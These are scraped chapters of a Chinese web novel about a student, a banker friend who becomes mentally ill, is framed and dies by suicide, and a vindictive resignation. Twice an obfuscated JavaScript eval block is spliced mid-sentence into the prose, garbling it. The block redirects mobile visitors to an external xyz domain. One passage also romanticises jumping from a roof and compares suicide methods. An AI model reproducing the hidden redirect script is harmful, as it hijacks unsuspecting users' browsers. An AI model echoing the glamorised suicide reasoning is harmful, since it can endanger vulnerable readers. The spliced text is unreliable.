可话说出来,职场内斗怎么办?骆一梵愕然,完了完了,我好像还没看过职斗文!!! 我追过的小作者好像都没上过班!!! “千帆姐姐,你应该当自己的大女主,不不不,你本来就是大女主。” “小说里说了,你现在的症状就是中了心魔,多少武林高手一旦走火入魔,堕入魔道,便万劫不复。千帆姐姐,修道之人拼到最后都是拼心力的,仙魔之间,就一线之隔啊!你可一定要稳住啊!” “千帆姐,我见过太多精才绝艳的少年天才,宗门希望,结果一下山历练,不是被情劫殉了,就是被反派打残了,赛季报销。多让人可惜。” “千帆姐,职场那么狠,你要是实在扛不住,咱就黑化吧,虽然很招人恨,但是他们战斗力真的很强。” ………… 用小说的话来说,骆一梵正将毕生所学,毕生心力修为,像龟派气功般一股脑地渡给沈千帆。 沈千帆瘫在沙发上,听着骆一梵的小嘴像机关枪一样直往外突突突,一直竟有些,困了,眼一睁一闭,没几个回合就睡着了。 骆一梵这边正慷慨激昂,引经据典,唾沫星子都乱飞了,回头一看,好家伙,给人家说睡着了,她只好作罢,给沈千帆盖个毯子,把那个一直循环播放“我还是从前那个少年”的音箱给关了。 一时之间,万籁俱寂,沈千帆猛然睁开眼睛,握住了骆一梵的手。 “别关音箱,我不能在安静的环境下入睡。” 骆一梵震惊(今天到底还有多少震惊在路上等着我?)。 沈千帆说得委婉,她不止是不能在安静的环境入睡,出门工作时,她都要戴耳机,听着嘈杂的声音才能开车。 工作多年,她最恐惧的就是【安静】,越是安静,她的心越是惊悸。 所以,她才会在骆一梵刚才那番喋喋不休中发困,越是嘈杂,她越是有安全感。 “沈千帆,你有病啊?哪有人开着音箱睡觉?” “你知道开会的时候什么最可怕吗?” “领导发飙的时候?” “不是,领导很少生气,对他们那个层级来说,稳住钓鱼台最重要。活谁干不了啊?责任谁担不了?这这些哪有自己稳住重要。” “那是什么时候?” “是全场最安静的时候。骆一梵,你知道整个会议室鸦雀无声的样子有多恐怖吗?” 骆一梵一脸懵逼。 “汇报完工作后,整个会议室一片鸦雀无声,没有人说话,但是大家都在心里打算盘,谁来当这个替罪羊,谁来当杀鸡儆猴的这个鸡,站谁的队。领导们静静在那等着,也没有人说话。” “那你也可以装死啊!” “我就是项目负责人,不管出什么事,不管团队里谁的过错,第一责任人都是我。” 长久的安静,时间如千刀万剐,许多双狐狸般的眼睛在隔岸观火,沈千帆流着泪解释,赌上自己的职业生涯为损失 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15579593|171583||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 承担责任,付出惨重代价,道几句后续规划或是亡羊补牢的建议。 有时,她成功死里逃生,也有时,她在幻灯片前下跪忏悔自己的狂妄。 她真的狂妄吗?没出事前,所有人都在方案上签过字了,都持肯定的态度。没有一个人说她冒进不谨慎。若是成功,这方案是公司培训案例,若是失败,自己便是过街老鼠。 她一生谨慎,唯一的狂妄便是进到了这一行,她天真地以为,前辈们的折戟沉沙,只是因为他们能力不够。如今,她深刻体会到了投行,伸手不见五指,吃人不吐骨头,只是为时已晚。 职场里没有明确的是非对错,没有出了事大家自觉跳出来解决问题,只有一堆烂摊子屁股,轮到谁,谁就得擦干净,否则,身败名裂,直接走人。 她不怕事,不怕部门间的斡旋和喋喋不休,唯独怕会议室的安静,有的人从那安静中走出,坐了半辈子的牢;有的人连降六级通报批评;有的人逆风翻盘,挽狂澜于即倒;也有的人,跪下忏悔…… 在喧嚣到来之前,当事人永远不知道等待他们的审判会是什么? 骆一梵似懂非懂,最终也只是把音箱里的音乐换成了《渔舟唱晚》———沈千帆曾经最擅长弹的古筝曲。 国庆七天弹指一挥间,骆一梵的黑眼圈都和眼珠子一个色了。 (呜呜呜,谁家好人开着音响睡觉啊?) 早八上课的时候,高数老师用他那渊博的微积分知识彻底把骆一梵送入梦乡。 骆一梵枕着自己的胳膊,睡得很甜,口水都流到同济版高数书上了,连点名都浑然不觉。 “什么,我算旷课?天地良心,我就在那堂课上趴着,嗯,冥思苦想高数题。” 骆一梵知道前因后果后赶紧跑到数计楼找高数老师解释。 “新中国不应该10月才成立,要我说,咱们党就应该早几个月把国/民/党打跑,七天哪够啊,国庆至少得多放几个月假,这样咱们的骆同学才能休息好,是吧?” “老师,您别这样说,学生惶恐。”骆一梵吓得直哆嗦,不敢直视高数老师。 “哎呦喂,学生惶恐,好典雅的词啊!骆同学,平时没少熬夜看古典小说吧?” 骆一梵不敢说话,只是点了点头。 许是见多了这样的学生,高数老师早就见怪不怪了,直接撂下一句:“回去写一篇5000字的检讨交上来,我把你的旷课记录撤销掉。” 骆一梵一脸委屈地答应了。 (5000字,天哪,高数老师,你好狠的心。) 骆一梵奋笔疾书熬到凌晨三点也就只写了2000多字,她搜肠刮肚绞尽脑汁实在是编不出来了。 2000字检讨似乎是她的极限了,此刻,她又累又困,脑子晕晕乎乎的,意识彷佛解离一般,但是手中的笔还在写着,手腕还在动…… 午后再次醒来时,5000字已落稿,骆一梵望着稿子,诧异道:这真是我能写出来的吗? 前2000字中规中矩,全是车轱辘话,奇怪的是后3000字,出神入化,行如流水,字字泣血。 文中,她回忆自己为什么喜欢看小说。其实,小时候的她,和其他同龄人一样,也想去春游,去划船,去游乐园玩,去KTV唱歌,和同学们聚会吃火锅…… 她也想暑假的时候上个兴趣班,学学散打,跆拳道…… 可是,妈妈在厂里两班倒真的很辛苦,家里也确实没钱让她去游乐园,去上补习班,她也不好意思找妈妈要钱去买玩具。 别人的童年永远是五彩斑斓,穷人的童年永远是灰暗,孤独,百无聊赖。 单亲家庭的孩子更难找到朋友。 还好,她发现了小说这个秘密花园,走路去图书馆借小说成为了她童年里的一道光,不用花钱,一杯水,一本书,便可度过一整天。 她一无所有,但看小说的时候,她又觉得自己拥有整个世界。 当同学们聊去过的巴塞罗那,日本,她再也不羡慕了,因为小说的世界同样五彩斑斓,波澜壮阔。 因为借小说,她还机缘巧合认识了沈千帆。 那个姐姐,是个很独立自强又拽拽的姐姐,可是,她正眼睁睁地看着社会和职场将她蚕食殆尽。 她不懂,沈千帆不就是去了一个稍微大点的投行,怎么就物是人非了? “老师,你有遇到过像沈千帆这样的学生吗? 不对,你教了那么多年的书,吃过的盐比我走过的路还多,你肯定见过无数个沈千帆,只是你怕是不会记得他们。 老师,我们一直努力学习,好好听课,就是为了以后乖乖进到社会当人家砧板上待宰的猪吗?” 15.为什么要当遗物守护师(下) 检讨交上去没多久,高数老师便打电话让骆一梵回来。 骆一梵气喘吁吁赶到办公室,却发现老师坐在椅子上翻看着那份检讨的最后几页,眼眶微红。 “老师,你找我?” “嗯。” 沉默,长久的沉默 (毒舌老师今日转性了?不阴阳怪气了?改沉默党了?问题是你火急火燎地找我来,倒是说事啊!) “老师,是不是这篇检讨有什么问题?” 毒舌老师盯着桌面上贴着的那个便利贴,陷入沉思,并没有理骆一梵。 骆一梵等了很久,他才回过神来。只见他起身,从身后的书柜里拿出两本书交给了骆一梵。 一本是《金刚经》,一本是《梵高传》。 “这两本书,你带回去,帮我转交给沈千帆,就说是一个还没被社会磨圆了的人送的。” “老师,网上都说梵高和高更有那个社会主义兄弟情,是真的吗?他俩真好过吗?”骆一梵忍不住问道。 “滚!!!” 骆一梵落荒而逃。毒舌老师继续盯着那张便利贴,心情久久不能平静。 那张便利贴是他当年最得意的一个学生写的。 “韩老师,教师节快乐!以前总觉得您太严厉了,时不时还和您对着干。直到现在进到了社会,才知道有一个负责的老师是多么幸运的一件事。 有时真想回到学校,多学点知识,听你再骂我们几句,把心态练好,把本事学扎实了。 不过,工作和努力好像也不是线性关系,聪明如我,没死在高数题上,却栽在了人情世故上,社会好复杂,不像数学题一样什么都可以量化,明明付出很多却拿不到什么分数。 早知道当初就应该好好听您的话,走纯学术的道路,您真是一个好老师,可惜,我不是一个听话的好学生。” 毒舌老师点起一根烟,徐徐抽着,这些年,他见过太多像沈千帆这样的学生了,在学校意气风发,才华横溢,可一走出校门,瞬间就被湮灭在人山人海中了。 他知道很多人过得不好,但他还是会坚定地告诉他们:人生尚有希望,你们都是未来的栋梁之材。 他给他们送书,写心灵鸡汤…… 或许,这世上,最卑鄙,最会骗人的就是老师了! ******** 沈千帆觉得骆一梵傻傻的,一会儿给来给她送《梵高传》,《金刚经》,一会儿又给她送《老板同事在地狱》,《杀不死我的,终使我强大》。 这丫头看书是杂食性动物吗?审美怎么跟过山车似的? 天气好时,会给她送各种盆栽,满天星,菊花,绿萝…… 天气不好时,风雨交加,电闪雷鸣,会给她推送各种恐怖的鬼故事电台。 “千帆姐姐,你听听,这些女鬼多顽强,死了都不愿意投胎,还要杀到阳间找渣男渣女复仇,咱们也不能放弃,努力努力再努力,冲冲冲!” “怨念越大,能力越强,千帆姐,我们正在变得越来越强,奥里给!” 节假日时会缠着她一起出门逛街,只逛不买还一直问东问西,惹得柜姐一看到她俩来了就跟见了脏东西似的。 偶尔外卖抽到了满减券,会蹦跶半天,请自己吃一顿拼好饭。 骆一梵又穷又没心没肺,可她每天都活得好开心啊! 反观自己年薪百万,事业有成,却过得生不如死。 沈千帆开始迷惘,难道人生的价值不在于拥有多少财富,而在于那美丽的灵魂? 她的指尖划过《梵高传》,不由得感叹,卧槽,这本书居然是正版,这丫头又得吃多少拼好饭才能凑够书钱啊! 骆一梵很抠的,哪怕陈阿姨给再多生活费,她都严格约束自己每个月开销不超过800块。 如果说自己拼命挣钱是为了让妈妈过上好日子,那么拼命省钱,知足常乐的骆一梵何尝不是为了让妈妈少劳累些,少操心些。 殊途同归,她们本质上都是一种人。 文森特·梵高,他这一生都在孤独地走一条后人很欣赏的路,他不虚此生! 沈千帆觉得,自己也应该走出来,可是,路在何方呢? 她们这一行,想要职场的成功,就得先心死,抛弃一切道德底线,变得功利,虚伪,明哲保身,人不像人,鬼不像鬼。这不是沈千帆想要的生活。 她签过竞业协议,跳槽简直难如登天。 她目前的工作,虽然高薪,却干得如履薄冰,金融行业,离天堂太远,离监狱太近。 等等,她还有一张牌,沈千帆突然想起来自己很擅长弹古筝。 沈千帆的心突然狂跳起来,如果能将自己真正热爱的古筝演奏当作毕生事业,那该多么幸福,多么奢侈。 为什么一定要把自己削尖磨平,为什么一定要圆滑?我沈千帆本就是一个锋利刺骨的人,我身上的刺,只要放在适合的地方,就会闪闪发光。 梵高27岁才开始画画,在此之前,他做过职员,经纪人,传教士。 或许,使人最终走向艺术的,只是内心挥之不去的感觉! ********* 骆一梵总觉得沈千帆有当渣女的天赋,简直是新时代的时间管理大师。 白天上班,下班回去苦练古筝,一天时间,有10个小时在工作,4个小时在练琴,1个小时在通勤,1个半小时在解决一日三餐,剩下的不到8个小时掰开了揉碎了用来洗漱,处理日常琐事,拉屎,睡觉。 更要命的是,在工作中,她冷血内敛,坚毅,一丝不苟,兢兢业业。 弹古筝时,她又像是被人夺舍般,感性,沉醉,脆弱,如泣如诉,旁若无人。 这世上谁还能有她这么无缝切换?这也太卷了吧! 骆一梵不止一次看到她累到头晕高血压,蹲在马桶边呕吐。 她不禁感叹:沈千帆真是个狼人,对自己真狠,她不成功谁成功啊! 不愧是博士,不愧是年薪百万的高级牛马,不愧是沈千帆!!! 努力是浪漫的,彷佛伸手就能够到梦想,抬腿就能迈近历史,只是梦想未至,历史先碾过来了。 封城后,骆一梵住进了沈千帆的公寓里。 一个没日没夜地居家工作/弹琴,一个整天睡到昏天黑地不知老之将近,两人倒也互不干扰,岁月静好。 下午两点,骆一梵醒来,奇怪,屋子里怎么静悄悄的,难不成沈千帆的【安静恐惧症】好了? 她走出房间,迎面撞上沈千帆正专心致志地“弹古筝”,顿时魂飞魄散。 起手,落手,一呼一吸,一起一伏,一收一拉,怎么看,沈千帆都是在认真弹奏古筝。 可是,可是,沈千帆面前没有古筝啊!!! “千帆姐,你在弹什么?” “渔舟唱晚。这是名曲,你听不不出来吗?” 骆一梵差点就要哭出来了:“我怎么可能听得出来,千帆姐,你的古筝还在架子上搁着,根本不在你那。” 沈千帆笑道:“你是睡迷了吧,古筝就在我这啊,你听。” 说罢,沈千帆对着空气拨了两下,不解地看着骆一梵。 可骆一梵看到的明明是,沈千帆对着空气沉浸弹奏,怎么可能会有声音? 是我疯了,还是她疯了?那一瞬间,骆一梵陷入了巨大的恐慌中。 她走到架子旁,狠狠拨了一下琴弦,裂帛声回荡在整个公寓。 她声音已经掩饰不住颤抖:“千帆姐,如…果…你弹的是…是古筝,那,那我…刚刚,弹的,又,是,什么?” 沈千帆一时恍惚,自己什么时候买了两个一模一样的古筝,为什么自己手上的这把古筝骆一梵看不着,听不见? 沈千帆花了好长时间才明白,当自己奋力向彼岸游去时,逆流早已将她卷入深渊。 一边高强度上班,冷漠疏离,一边忘我沉醉于艺术世界,热情如火; 冰与火两种灵魂,装在一个躯壳里,冰火不容。现实正将她分裂,而她浑然不觉。 自从知道沈千帆出现幻听幻觉后,骆一梵是网课也不听了,选秀综艺也不追了,每天恨不得24小时跟在沈千帆身边,生怕她出什么事。 至于沈千帆,在查阅了大量心理学书籍,精神疾病分析后,她确认自己患上的是精神分裂症。 她很快就收拾好心情,继续居家办工,将古筝锁上,每天坚持写日记,将病情一点点记录下来,线上发给心理医生。 看着沈千帆劈里啪啦在电脑前整理报表,骆一梵觉得自己也快被逼疯了。 “千帆姐,你都这样了,你确定还要继续上那个破班吗?” 沈千帆避而不答:“骆一梵,这个月光买菜钱就花出去五万了。” “卧槽卧槽,那些团长是抢钱吧!我以后要天天吃方便面。” “骆一梵,这就是生活,它明码标价,很残忍,所以,我们要想好好活下去,就得更残忍,对别人残忍,对自己更残忍。” “可是,虽然我不懂心理学,但我也知道,你的病要是继续工作的话,肯定会,加重的嘛,要不……,gap一段时间?” “我宁愿拼尽全力纵情燃烧一天,也不要一辈子庸庸碌碌饱食终日。” 骆一梵走上去,轻轻地拥抱了她一下,本想给她一个安慰,没曾想,自己先哭倒在她的肩头。 命运似乎对沈千帆网开一面,骆一梵发现,沈千帆只有在月底时才发作,似乎,那个幻觉幻听是周期性的。 “很多精神分裂症的病情都是周期性的,主要取决于刺激源。有的人总是六月发病,因为高考的阴影。我想,我的刺激源可能来源于工作,每到月底的时候,就是我们项目最忙的时候,那几天,通宵搞项目节点都是家常便饭。” 沈千帆分析起自己的病情,如此冷静,如此云淡风轻。 解封的时候,骆一梵立马拽着沈千帆去看精神科医生。 由于刚解封,复工的医生不多,看病的人却很多,队伍一直从7楼排到1楼。 在1楼,有一些病人正在小花园放风,他们,就是世俗所谓的“神经病”,许多人像看猴似的盯着他们看。 沈千帆看到一位女病人的裤子后面全是经血,触目惊心,而那位女病人丝毫不觉,自顾自摇头晃脑地走来走去。 有一位男病人凶巴巴地望着每一个人,只要有人靠近他就要攻击,护士拦都拦不住,拉也拉不走,只能劝路人离他远点。 有一位病人一直在大喊大叫,挥着手臂来回冲刺,没有人知道他为什么这么做,他完全沉浸在自己的世界。 ………… 骆一梵也有点被吓到了,她还是挤出一个微笑安慰沈千帆:“没事的,暂时的,刚复工,现在医院人手不够,以后慢慢就秩序好了。” 沈千帆不语,她心里暗下决心,如果终有一天要这样才能活着,毋宁死。 沈千帆和骆一梵两人轮流排了两天才见到医生。 “你应该立马辞职,赶紧住院。”医生如是说,沈千帆并不意外。 “医生,能不能吃药控制,我不能放下我的工作。” “沈小姐,看得出来,你来之前已经查过这方面的专业资料了,我也就开门见山了,你的病,要想根治,必须要远离刺激源,必须要入院进行科学治疗。” “可我不能一辈子呆在医院里,我总是要回到社会。” “那是自然,没有人是一座孤岛。” “医生,我觉得,病的不是我,而是这个社会。众生皆有病,为什么要住院吃药的反而是我?你们没办法医治这个病态的社会,就反过来解决我们这些索引病人?” “这两天很多来这的人都这样说。”医生淡淡道。 ………… 看完医生后,沈千帆马不停蹄地回公司复工了,骆一梵气得都快炸了。 “没事的,我看过了医生,医生说,我这症状是阴性的,只要好好吃药,不要给自己太大压力,就能控制住。” “真的?我读书少,你可别骗我。”骆一梵将信将疑。 沈千帆一边收拾东西,一边涂粉底,不咸不淡地回了句: “那你就当我死了呗!” “呸呸呸,你别自己咒自己。” “骆一梵,你算什么东西,凭什么对我指手画脚。” 骆一梵一怒之下就回学校了,对天发誓再也不管这个油盐不进的女人了。 几个月后,她已经彻底冷静下来,觉得自己之前的行为好像确实不对。 沈千帆都得了这么重的病,她阴阳怪气几句咋了?她好心当驴肝肺又咋了? 金融行业哪有不发疯的,离钱这么近,搏几下就能单车变摩托,她爱上班,也是情有可原。 骆一梵再次回到沈千帆公寓,发现她早已退租了,自己的微信也早就被她拉黑了,就连沈姨,听妈妈说,前不久也出国疗养了。 跑得了和尚跑不了庙,骆一梵直接在她公司门口蹲着,她就不信了,沈千帆不下班。 夜深露重,骆一梵都快睁不开眼了,一抬头,整座办公楼依旧灯火灯火通明,周围始终弥漫着一股很香的咖啡味,显得夜色更加寂寥。 凌晨两点半,沈千帆突然出来了,她和骆一梵四目相对,沉默良久。 奇怪,又是自己的幻觉吗?骆一梵怎么来这了。 看来病情又加重了,沈千帆摇了摇头,与骆一梵擦肩而过。 “沈千帆。”骆一梵哽咽了。 沈千帆听到声音,心里很难受,看来我的精神分裂症确实病入膏肓了,连幻听都如此真实。 别乱回头,别再东张西望,现在是下班时间,不能让同事发现我的病。 就这样,沈千帆头也不回地离开了,留给骆一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15597673|171583||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 梵一个决绝的背影。 那一晚,骆一梵就如同丧家之犬般狼狈地翻墙回宿舍了。 或许在沈千帆眼里,自己从来不是她的朋友,只是一个什么都帮不上忙,只会影响她挣钱速度的累赘吧! 那一晚,骆一梵并未意识到,这是今生和她的最后一面。 后来,再一次收到关于沈千帆消息时,是在热搜上。 XXXX投行暴雷,高管卷跑5亿流水。 骆一梵大呼,哈哈哈哈,报应,报应啊!谁让你这么压榨员工,好好好,白因必有果,常在河边走,哪有不湿鞋。 许是太过高兴,骆一梵并未注意到,那一大串文字下面诸多高管名姓后面有“沈某某”二字。 很快,骆一梵就被警察叔叔请去喝茶了。 “沈千帆生前患有严重的精神分裂症,你作为她的朋友,是否知情?” “是啊,她的病很严重,但是她每天还是嘎嘎上班,气得我和她没少吵架,她也给我拉黑了。” 骆一梵吐槽着吐槽着,突然站起来:“警察先生,您刚刚是说,生前?” “是的,沈千帆自杀了。” 大脑嗡嗡嗡,轰隆隆,骆一梵不知道自己是如何走出警局,只记得周围人复杂的眼神的自己踉踉跄跄的步履。 那一天,警察局走廊进进出出很多人,心理医生,精神科医生,护士,沈千帆的同事及好友,所有人来来往往,证实了沈千帆确实罹患重度精神分裂症。 当晚,舆论发酵,网上一片热议,XXXX投行高管卷跑5亿,让会计顶罪,会计以死自证清白,现在死无对证,5亿再也追不回来了。 知情人还爆出了该会计的遗书: “我是沈千帆,在XXX投行工作已有5年,因工作强度严重超身体负荷患上了精神分裂症,发病是周期性,会出现幻觉幻听。 部门领导和同事察觉到我的病情后,决定利用我当白手套,趁我发病期间让我签署了一系列不知名文件,以我的名义转移公司资产。 我自知百口莫辩,如今,安顿好家人后我决心以死自证,要留清白在人间。 千帆绝笔。” 骆一梵一眼就认出,那封遗书是沈千帆的笔迹,写得似乎很匆忙。 一石激起千翻浪,连续挂在热搜上三天,网友更是扒出了XXX投行这些年被压下来的黑历史。 员工猝死,员工跳楼,员工替高层顶罪坐牢,员工内斗…… 好家伙,这简直是在黑料上运转的公司,网友纷纷玩梗: 水太深,同志们快撤! 投行哪有干净的,别让热搜降下来! 上辈子杀人放火,这辈子进投行当牛马! 金融界已经乱成一锅粥了,向他们开炮! 当然,也有大批水军疯狂留言,企图逆转舆论: 人家公司损失也很大,这些员工也不是什么好东西! 随之而来的是大家的群起而攻: 当牛马的还替主子共情上了。 5亿没了,我也很想心疼公司,但我还是留着力气等公司下次割韭菜时心疼心疼自己吧! 至于沈千帆的领导和同事,虽然没查到那5亿的下落,却拔出萝卜带出泥,顺带挖出来了他们这些年不少违规交易,数罪并罚,该判刑的判刑,该二审的二审,该送进去的就送进去,风波很快就平息了。 渐渐地,人们不再义愤填膺,这件事成为大家茶余饭后的谈资,渐渐地,人们已经想不起来S城曾有过这样轰轰烈烈的整个部门全员被查的大事。 整个S城,只有骆一梵为沈千帆的死悲痛欲绝,也只有她,将沈千帆的身后事料理妥善。 沈千帆的遗物,查来查去,骆一梵能带走的,只剩那把古筝。 ——————— ——————— 2022年世界杯,骆一梵在电视机前看到阿根廷夺得世界杯冠军,梅西终得圆满。 从2014到2022年,电视上的人走过巅峰,跨过低谷,最终等来了命运的礼物。 从2014到2022年,沈千帆意气风发过,贫穷过,富有过,人生如流星般划过漆黑长夜,却至死不得救赎。 骆一梵抱着古筝在电视机前嚎啕大哭。 她再也无法相信童话,小说,励志故事………too beautiful to believe。 —————— —————— 摩纳哥 楼下的法国青年因为世界杯大起大落,喧嚣一片。 沈姨躺在壁炉前,昏昏睡过去,这一次,她还是没有梦见自己的女儿。 迷迷糊糊中,她好像听到有人在哭,心想,大概法国队输了,醒来时,却发现自己两颊早已被泪水覆盖。 她下了阁楼,来到街边,与想象不同,街边的法国人没有歇斯底里,没有无端地跺脚谩骂。 他们静静地坐在小酒馆里,没有表情,没有痛苦,要不是他们脸上涂着彩绘国旗,地上散落着各种加油纸板,她恐怕认不出这些人就是刚才那些狂躁的球迷。 那些加油助威纸板,彩带,烟花棒,啤酒瓶,彩烟,统统丢在了地上,可以窥见,他们曾是怀着怎样热烈的心情来到酒馆看比赛。 到底是什么让他们觉得一场足球比赛那么重要? 赢了又怎么样?输了又如何?阿根廷赢还是法国赢,又能给这些年轻人带来什么? 这个答案她恐怕永远无法知晓了,或许千帆在一定程度上能理解这些球迷。 在千帆眼里,金钱,复仇,自尊而耀眼地活着……总之,太多东西都比生命本身重要。 “明天,不管多少钱,我都要把这个小酒馆买下来。”沈姨告诉自己。 她突然想开一个酒馆,见人生百态,看人来人往花开花落,学会理解红尘中的惊涛骇浪,学会知天命。 至于钱,那是她最不用操心的事,她在瑞典银行里的账户里有一串天文数字,千帆曾说: 妈妈,请带着我的这一份,好好生活,我希望你的人生轰轰烈烈花团锦簇。 ———————— ———————— 骆一梵哭着哭着就睡着了,在她的房间角落里,有一堆书躺在尘埃里,其中有一本是《梵高传》。 偷偷将这本书送回的人,也在里面塞了一张海外账户的银行卡。 那个人觉得,人世间最好的告别就是曲终人散。 那个人运筹帷幄,她算准了一切,当然,她也算准了大概骆一梵下一次打开《梵高传》,应该是穷困潦倒人生处处失意碰壁的时候吧!(谁家好人春风得意的时候看《梵高传》啊!) 傻丫头,《梵高传》并不能将人从低谷里干拔出来,但是钱可以。 没有朋友,没有梦想,没有精神支柱,其实,有很多很多钱也是可以的! 16.辞职 骆一梵失眠了整个晚上,她觉得一想到明天要上班,人生就格外痛苦,一呼一吸都无比煎熬。 凌晨两点半,她甚至想起床去跳楼。 意识仿佛飞走了,直到寒凉的夜风掠过发丝,她的头脑才渐渐清醒。 她往下一看,竟不知,自己何时来了天台? 此刻,她突然理解了为何大家不喜欢吞安眠药烧炭开煤气,反而喜欢跳楼。 往上看,是漫天繁星,往下望,是万丈深渊。 张开双臂,拥抱你的是凉风习习,万籁俱寂。 死亡如一股凉气,将尘世中的痛苦与折磨徐徐吹散,肉身下坠,灵魂挣脱枷锁,自由永恒。 天亮之后,血肉大白于天下,到时候怕是,房东也要倒抽几口凉气吧,以一己之力,拉低房租,算是牛马能做到的最轰轰烈烈的事了。 相比之下,吞安眠药开煤气就太窝囊了,一点都不浪漫! 从质疑跳楼,到理解跳楼,中间只需一个上班。工作与天台,果然是诞生思想家的圣地! 临跳之际,她打开手机,准备将自己卡里所有的钱都转给妈妈。 突然间,恐惧与痛苦席卷全身,她想到,要是妈妈知道自己离开人世了,应该会,痛不欲生吧! 这么残酷的社会,往后就剩妈妈孤零零一个人,她将何以度过余生? 她生病了怎么办,谁照顾她?她难过的时候,又能找谁哭诉? 她还能活下去吗? 骆一梵越想越害怕,她赶紧跑下楼,回到出租屋里,锁紧门窗,在床上躺好。 冷静,冷静,冷静,要好好活着,活着,活着…… 为了妈妈,我骆一梵一定要坚持活到六十!!! 为了好好活到六十,骆一梵决定辞职!!! 说到做到,骆一梵拿起手机,给老板发了个微信: “你好,爷不干了。” 言简意赅,信达雅! 发完之后,骆一梵立马拉黑老板的微信,又把那些恶心同事的微信一个一个拉黑删除。 一顿操作下来,骆一梵身心舒展,爽得在床上打滚。 第二天一大早,骆一梵便来到了一家早餐店里。 “老板,我想买点你们店里的大蟑螂。” 一时间,全体食客纷纷放下了手中的包子馒头,不可置信地望着老板。 老板如临大敌,大声嚷嚷道:“你,你,你胡说,我们店里干干净净,哪里有什么大蟑螂。” “有啊,我前两天在这里吃饭时亲眼看到了,可大可大了,就跟广东那大蟑螂一模一样,爬得可快了。” 骆一梵一脸天真无邪,早餐店老板汗流浃背,食客生无可恋。 良久,老板大骂道:“对家,你肯定是竞争对手派来的,你是纯黑啊!空口白牙说我们这有蟑螂,怎么可能,我们这是连锁店,品控都有严格管控……” 眼见被老板泼脏水,骆一梵只能自爆马甲: “老板,你误会了,我就是在对面楼那个寂生公司里上班的,您看,我还有工牌。” “您别误会,我是真心来买大蟑螂的。是这样的,今天我离职,就想买点离职礼物送给公司,我想着,在公司里放生一点蟑螂,这也算是功德无量的一件善事吧!” 老板两眼一黑,直接放弃挣扎,让员工将骆一梵“请”了出去,而后,装作什么都没发生的样子继续蒸小笼包。 忙活了半天,骆一梵还是在路边摊小贩那里买来了一兜大蟑螂。 过程太过顺利,买卖双方甚至对此展开了“学术交流”。 “我说,既然你们抓蟑螂那么容易,为啥平时不抓,搞好卫生?”骆一梵抛出灵魂性问题。 “你不懂,一个人摆摊多无聊,一站就是一整天,有这些活物在,还能解解闷。” “是啊,小丫头,你别把它们当蟑螂看,你把它们当朋友看,那就不可怕了。你看看,这些小家伙油光水滑的,比人看着都顺眼。” “高兴了,就给它喂点肉吃,生气了,就一脚踩死它。痛快啊!” “那我把他们都带走了,你们怎么办?”骆一梵继续问道。 “没事,旧的不去,新的不来。” “哇哦,我突然觉得,你们和蟑螂间的这份感情,真像我和我同事间的感情。”骆一梵不禁感叹。 “可不是嘛!俺们这些摆摊儿的,在他们城里人眼里,可不就是蟑螂。他们那些尾巴翘上天,整天不给俺们好脸色的人,在我们眼里,不也是蟑螂。” “这年头,是人还是蟑螂,谁又能分得清呢?” 骆一梵表面重重地点头,深深地同情,心里淡淡地扣脚。 早上七点,骆一梵已经偷偷溜进公司了,这个时候,同事们还没开始上班。 她走进老板的办公室,将装有蟑螂的袋子微微松开个小口子,然后立马跑出去,锁好老板办公室的门。 接着,她不紧不慢地收拾好自己工位上的东西,抱着小柴,正欲离开,环顾四周,总觉得就这么一走了之,好像不太好唉! 于是乎,她接了一大杯开水,一股脑浇在了老板精心养护的发财树上。 将卫生间的水闸彻底关了(第一批上厕所的人有坑位,第二批有惊喜,第三批去找水闸,这才是一个Team!) 将空调,暖气都开到最高温度。(欢迎来到寂生熔炉,小乳猪们!) 紧接着,又带着小柴在公司各个位置遛了一圈(开闸泄洪吧!小柴,多撒尿,多拉屎,你是人见人爱花见花开雨露均沾的好狗狗!!!) 眼看快到公司上班时间了,骆一梵才依依不舍抱着小柴离开。 她为自己没有才华而感到一丝羞愧,连恶作剧都如此小打小闹。 她心中暗下决心,待到下一份工作,下一次离职,我骆一梵一定要大闹天宫,搅得整个公司鸡犬不宁!!! 做完一切,骆一梵继续回到出租屋里呼呼大睡了,天啊!这世上还是工作日的回笼觉最舒服!!! 与此同时,老板端着咖啡,盯着那颗已死去的发财树陷入沉思。 对于卫生间传来的阵阵恶臭,在暖气的强力催化加强下正席卷全楼,他浑然不觉,唯独对着这颗死树黯然神伤。 此时此刻,他的脑中挥之不去的是梁修身生前所说的那句:“昔年种柳,今看摇落。” 梁先生当年说这句话时,他不以为意。 等到他无意间得知那句话竟是出自庾信的《枯树赋》时,梁先生已身陷囹圄。 如今,当他也有了说‘昔年植柳今摇落’的阅历时,梁先生早已埋骨桑梓。 员工看出老板的些许不对劲,鼓起勇气上前问道:“要不要明天再买一株一模一样的发财树?” 很快,老板收起情绪,冷峻道:“发财树,发财树,既带不来财运,死了倒也干脆。树犹如此,人何以堪,有空来拍马屁不如多拉拉客户。” 说罢,他将咖啡一股脑倒在发财树上,大步走进办公室,将落寞掩饰得滴水不漏。 时至今日,他仍记得关乎命运转折的那一天。 那是一个平平无奇的晚上,梁先生突然请他一起看《新闻联播》。 他擦了擦刀上的血,一脸不解:“梁先生,我这种刀尖上舔血的人,看新闻联播?不太合适吧!” 